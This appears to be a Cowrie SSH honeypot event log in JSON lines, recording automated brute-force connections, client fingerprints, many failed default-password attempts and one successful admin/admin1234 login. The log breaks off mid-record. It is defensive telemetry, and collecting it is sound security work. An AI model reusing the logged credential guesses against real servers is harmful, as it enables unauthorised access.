{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.535948Z","src_ip":"101.36.122.139","session":"438e439522ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.916126Z","src_ip":"45.153.34.195","session":"df161be6e83b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"nil","message":"login attempt [nil/nil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:44.416380Z","src_ip":"101.36.122.139","session":"438e439522ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:45.013415Z","src_ip":"45.153.34.195","session":"df161be6e83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:45.632455Z","src_ip":"101.36.122.139","session":"438e439522ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28140,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f334339045f","protocol":"ssh","message":"New connection: 45.153.34.195:28140 (10.17.0.5:22) [session: 9f334339045f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:46.063325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:46.245237Z","src_ip":"45.153.34.195","session":"9f334339045f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:46.250505Z","src_ip":"45.153.34.195","session":"9f334339045f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre123","message":"login attempt [andre/andre123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:46.806665Z","src_ip":"45.153.34.195","session":"9f334339045f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:47.924372Z","src_ip":"45.153.34.195","session":"9f334339045f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28146,"dst_ip":"10.17.0.5","dst_port":22,"session":"86da02d3e7c1","protocol":"ssh","message":"New connection: 45.153.34.195:28146 (10.17.0.5:22) [session: 86da02d3e7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:48.982861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:48.990241Z","src_ip":"45.153.34.195","session":"86da02d3e7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:49.084655Z","src_ip":"45.153.34.195","session":"86da02d3e7c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dm","password":"dm","message":"login attempt [dm/dm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:49.663556Z","src_ip":"45.153.34.195","session":"86da02d3e7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:50.747769Z","src_ip":"45.153.34.195","session":"86da02d3e7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":44624,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf23a7413c2","protocol":"ssh","message":"New connection: 97.74.87.152:44624 (159.203.135.109:22) [session: fcf23a7413c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:51.152489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:51.158013Z","src_ip":"97.74.87.152","session":"fcf23a7413c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:51.394967Z","src_ip":"97.74.87.152","session":"fcf23a7413c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28158,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2a3b7aa5b4","protocol":"ssh","message":"New connection: 45.153.34.195:28158 (10.17.0.5:22) [session: 7f2a3b7aa5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:51.929101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:51.933304Z","src_ip":"45.153.34.195","session":"7f2a3b7aa5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:52.036545Z","src_ip":"45.153.34.195","session":"7f2a3b7aa5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:52.310533Z","src_ip":"45.153.34.195","session":"7f2a3b7aa5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd55","message":"login attempt [root/P@ssw0rd55] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:52.366950Z","src_ip":"97.74.87.152","session":"fcf23a7413c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:53.392374Z","src_ip":"45.153.34.195","session":"7f2a3b7aa5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:53.604417Z","src_ip":"97.74.87.152","session":"fcf23a7413c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32994,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ffa81c6427","protocol":"ssh","message":"New connection: 45.153.34.195:32994 (10.17.0.5:22) [session: 42ffa81c6427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:54.873311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:54.878078Z","src_ip":"45.153.34.195","session":"42ffa81c6427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:54.961388Z","src_ip":"45.153.34.195","session":"42ffa81c6427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:55.210389Z","src_ip":"45.153.34.195","session":"42ffa81c6427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:56.319520Z","src_ip":"45.153.34.195","session":"42ffa81c6427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33004,"dst_ip":"10.17.0.5","dst_port":22,"session":"b61f8a194a19","protocol":"ssh","message":"New connection: 45.153.34.195:33004 (10.17.0.5:22) [session: b61f8a194a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:57.682733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:57.739241Z","src_ip":"45.153.34.195","session":"b61f8a194a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:57.829040Z","src_ip":"45.153.34.195","session":"b61f8a194a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kelvin","password":"kelvin","message":"login attempt [kelvin/kelvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:58.295911Z","src_ip":"45.153.34.195","session":"b61f8a194a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":58748,"dst_ip":"10.17.0.5","dst_port":22,"session":"63dc363fc545","protocol":"ssh","message":"New connection: 173.208.188.210:58748 (10.17.0.5:22) [session: 63dc363fc545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:58.871352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:58.877465Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:59.042401Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:59.380850Z","src_ip":"45.153.34.195","session":"b61f8a194a19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:00.469373Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33014,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c72925abe7a","protocol":"ssh","message":"New connection: 45.153.34.195:33014 (10.17.0.5:22) [session: 1c72925abe7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:00.507786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:00.670850Z","src_ip":"45.153.34.195","session":"1c72925abe7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ss